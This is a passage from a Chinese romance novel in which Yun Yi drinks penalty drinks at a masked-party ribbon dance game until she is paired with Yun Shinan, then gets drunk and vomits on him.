随机跳舞。哪一组跳到最后,哪一组就赢!” 彩带被放到了云一面前,她没多想,随便抽了一条黄色的。抬头,戴着机械面具的云石楠举起红色的彩带对着她摆了摆手。 “DM!”云一喊道,“我要求换舞伴!” “不好意思,女士,请求无效。”DM摊了摊手,“您要是坚持的话,可以等下一轮。” “下一轮就能和他一起跳吗?” “有几率。” “好,我等下一轮。”云一看向在对面眨眼的云石楠,下定了决心。 DM端来两杯酒,递给云一和被她抽中的舞伴。 “抽中不跳,总是有惩罚的嘛。”DM笑道。 那位被云一抛弃的舞伴十分不耐烦地摇摇头,抓起酒杯一饮而尽,喝完还吐槽了一句:“不都是玩吗,这么较真干嘛?” 云一不理睬他,喝完酒,便气鼓鼓地看着云石楠。 结果云石楠和那舞伴一上场就跳错舞步,他便站到了云一对面,笑着看着她。 终于,第二轮开始了。 云一仔细地选了选,选中了红色的彩带。抬头,云石楠摇了摇头,举起了绿色的彩带。 “真服了!” “小姐……” 还没等DM说完,云一便端起酒杯一饮而尽。 “我才是真服了!”那位被抛弃的舞伴没好气地瞥了一眼云一,才端起酒杯喝了下去。 云石楠不知是不是故意,又遗憾退场。他抱着手臂,微笑地看着云一,还眨了眨眼睛。 云一感觉头脑有些昏沉沉的,看着云石楠那副嘴脸,心里一股无名火。手腕处,小黑影子拉了拉她的衣领,示意她别再喝了。云一没理会,第三轮彩带一抽,她便自觉地端起两杯酒,一股脑喝了下去。没错,她非常自觉地帮舞伴也喝了。 “呃,小姐……您这是又要换?”DM不确定地看着云一,“您不是一直想和这位先生一组吗?” 这时,云一才看到,自己手里的彩带和云石楠手里的彩带都是粉色。 “不换!我就是爱喝酒,不行吗?”云一嘴硬地说道。 “行行行!真是位特别的小姐呢!” 云一昏昏沉沉地顺着彩带走到了云石楠身边,她只觉得眼前的机械脸便成了两个人。音乐突然响起,是一段有些急促的舞曲。 手被人拉起,放在了肩上。 “跟着我。” 整个人昏昏沉沉的,只是机械地跟着那人的动作。 抬眼,那张机械脸上的表情变成了一个笑脸。 旋转,舞动,云一更觉昏沉。音乐停止,她听不清DM又说了什么,只是恍恍惚惚地跟着云石楠走出了人群。 “云石楠,是你吗?” 她推开云石楠递过来的一杯似乎是白水的东西,伸出手去摘那张机械面具。那人没有阻止,果然露出了那张熟悉的脸。 “是我。” 云石楠注视云一,他小心地取下云一的面具,看着她有些发红的脸,“喝点水,你会舒服一些。” 云一再次推开云石楠递过来的水,看着他,“我来找你是因为……” 她的声音有些小,云石楠不得不凑过去听她讲了些什么。 “什么?” “呕……” 很巧妙的,云一吐到了云石楠身上。云石楠无语到极点,反而笑了。 “你以后真的别喝酒了……”